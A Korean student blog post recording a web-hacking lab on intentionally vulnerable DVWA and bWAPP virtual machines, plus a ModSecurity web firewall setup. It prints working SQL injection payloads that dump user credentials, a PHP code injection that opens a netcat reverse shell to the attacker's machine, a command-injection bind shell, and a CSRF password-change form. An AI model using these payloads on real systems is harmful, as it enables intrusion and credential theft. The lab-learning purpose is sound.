[Shielders] Rookies-12

Dong Jung·2022년 9월 14일
0

Rookies

목록 보기
13/24
post-thumbnail

2022.09.14

웹해킹.07

모의 해킹 실습
1.SQL injection
2.웹방화벽
3.Bee Box 문제풀이
4.후기
실습환경

가상머신 : vmware Workstation 16 Player
운영체제 : Ubuntu-20.04.2.0
Memory : 2 GB
Processors : 2
Hard Disk : 20 GB
Network : NAT
가상머신 : vmware Workstation 16 Player
운영체제 : bee-box v1.6
Memory : 1 GB
Processors : 1
Hard Disk : 20 GB
Network : NAT
가상머신 : vmware Workstation 16 Player
운영체제 : kali-linux-2022
Memory : 2 GB
Processors : 4
Hard Disk : 80 GB
Network : NAT

1.SQL injection

1) 소개
SQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는 행위 입니다. 인젝션 공격은 이전에 소개했던 OWASP Top10 중 세번째에 속해 있으며, 공격이 비교적 쉬운 편이고 공격에 성공할 경우 큰 피해를 입힐 수 있는 공격입니다

2) 실습

  • 목적 데이터베이스에서 USER ID와 PASSWORD 탈취
    1~9이라는 아이디값을 입력하였을때 First name과 Surname을 출력하는 화면입니다
  • 1.컬럼개수 확인
    우선 이전 화면에서 SQL문을 추측할 수 있는데
select firstname,surname from ?? where id='  ';

이렇게 추측하는 상황에서 ' union select 1,2 # 쿼리문을 삽입해주었고 정상 실행 되는것으로 컬램 개수가 2개인걸 확인 할 수 있었다.

    1. DB이름 알아내기
' union select database(),version() #

해당 명령어를 통해 데이타베이스의 이름을 알 수 있었다.

    1. Table 이름 알아내기
' union select table_name,null from information_schema.tables where table_schema='dvwa' #

    1. Column 이름 알아내기
' union select column_name,null from information_schema.columns where table_schema='dvwa' and table_name='users'#

    1. user, password를 추출
' union select user,password from dvwa.users #

    1. 아이디와 비밀번호가 출력되는것을 확인할 수 있었다.

해쉬값으로 출력되기 때문에 https://hashes.com/en/decrypt/hash 해당 사이트에 접속해서 복호화할 수 있다.

2.웹방화벽

  • 웹방화벽이란?

L3, L4부분은 방화벽에서 걸러지지만 방화벽에서 실제 메시지부분은 따로 확인하기 힘들다는 문제가 있다. 그러한 내용을 방어하기 위하여 웹방화벽은 메시지 위주로 필터한다는점에서 방화벽과 차이점이 있다고 볼 수 있다.

  • 웹방화벽 구축 실습
    DVWA 웹서버에서 다운받아 실습을 진행하였다
    sudo apt update

sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo systemctl restart apache2
sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
//뒤에 붙은 -recommended 제거

sudo apt install vim
sudo vi /etc/modsecurity/modsecurity.conf
변경할 내용
SecRuleEngine DetectionOnly -> SecRuleEngine On
SecAuditLogParts ABDEFHIJZ -> SecAuditLogParts ABCEFHJKZ
:wq //저장하고 종료

sudo systemctl restart apache2
sudo vi /etc/apache2/mods-enabled/security2.conf

sudo apache2ctl -t
sudo systemctl restart apache2

DVWA에서 공격시도시에 Forbidden이 뜬다면 정상적으로 설정이 완료되었다.

3.Bee Box 문제풀이

1) PHP Code Injection

  • Kali : Attacker
  • Beebox : Victim
  • 목적
    1.리눅스 명령어 실행
    2.netcat을 이용하여 공격자서버에 연결
  1. 리눅스 명령어 실행
    URL에 구문을 입력했을때 화면에 표시되는 문제이다.
192.168.5.130/bWAPP/phpi.php?message=hello

http://192.168.5.130/bWAPP/phpi.php?message=shell_exec("pwd");

해당 구문 메시지에 삽입하면 명령어가 실행되는걸 볼 수 있다.

2. netcat을 이용하여 공격자서버에 연결(Reverse Connection방식)

공격서버에서 nc -l -p 8000으로 netcat을 열어주었다

그 이후 PHP Code Injection을 통해 서버로 Netcat을 통해 연결하였다.

http://192.168.5.130/bWAPP/phpi.php?message=exec(%22nc%20192.168.5.129%208000%20-e%20/bin/sh%22)

PWD 등 명령어로 beebox에 접속한것을 확인할 수 있었다.

  • 유사문제(OS Command injection)
    Netcat을 이용한 Kali로 Beebox 접속(Back door방식)
; nc -l -p 8000 -e /bin/sh

해당 명령어를 통해 netcat을 포트오픈

nc 192.168.5.130 8000

해당 명령어를 통해 칼리로 접속하였다

2) CSRF
CSRF는 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버를 공격하는 방법이다.

예를 들어

  • 자동 댓글달기 : 사용자가 게시판 글을 읽기만 했는데 스크립트가 실행되면서 자동으로 댓글이 달리거나 좋아요가 눌러짐
  • 패스워드 변경 : 사용자의 패스워드를 변경하는 시도 -> 로그인이 안되는 문제
  • 자동으로 탈퇴요청을 보내기

경우가 있다.

CSRF 실습화면이다.
Bee로 접속되어있는걸 확인할 수 있다.

해당 페이지의 비밀번호 바꾸는 폼파일을 소스보기 통해 복사하였고, 입맛대로 조금 수정하였다.

         <form action="http://192.168.5.130/bWAPP/csrf_1.php" method="GET">
        
        <p><label for="password_new">BTS Fan Page</label><br />
        <input type="hidden" id="password_new" name="password_new" value="1234"></p>

        <p><label for="password_conf">Click like it</label><br />
        <input type="hidden" id="password_conf" name="password_conf" value="1234"></p>  

        <button type="submit" name="action" value="change">like it</button>   

    </form>

해당 HTML 문서에보면 hidden으로 숨어있지만 1234라는 value값이 들어있는게 보이고 like it 버튼을 눌르면 비밀번호가 1234로 바뀌는걸 알 수 있다.

이전 패스워드로 접속시에 접속이 되지 않는것을 확인할 수 있다.
1234로 접속시에 접속이 가능하다.

4.후기

오늘까지 해서 웹 해킹에 대해서 마무리되었다. 기본적인 개념들은 챙겼다고 할 수 있을거 같지만 아직까지 웹해킹에 대해서는 알아야할점도 많아보인다.
복습을 통해 지금까지 내용을 잘 정리하고 여러 플랫폼을 통해 더배워나갈수 있을꺼같다.

profile
보안새내기

0개의 댓글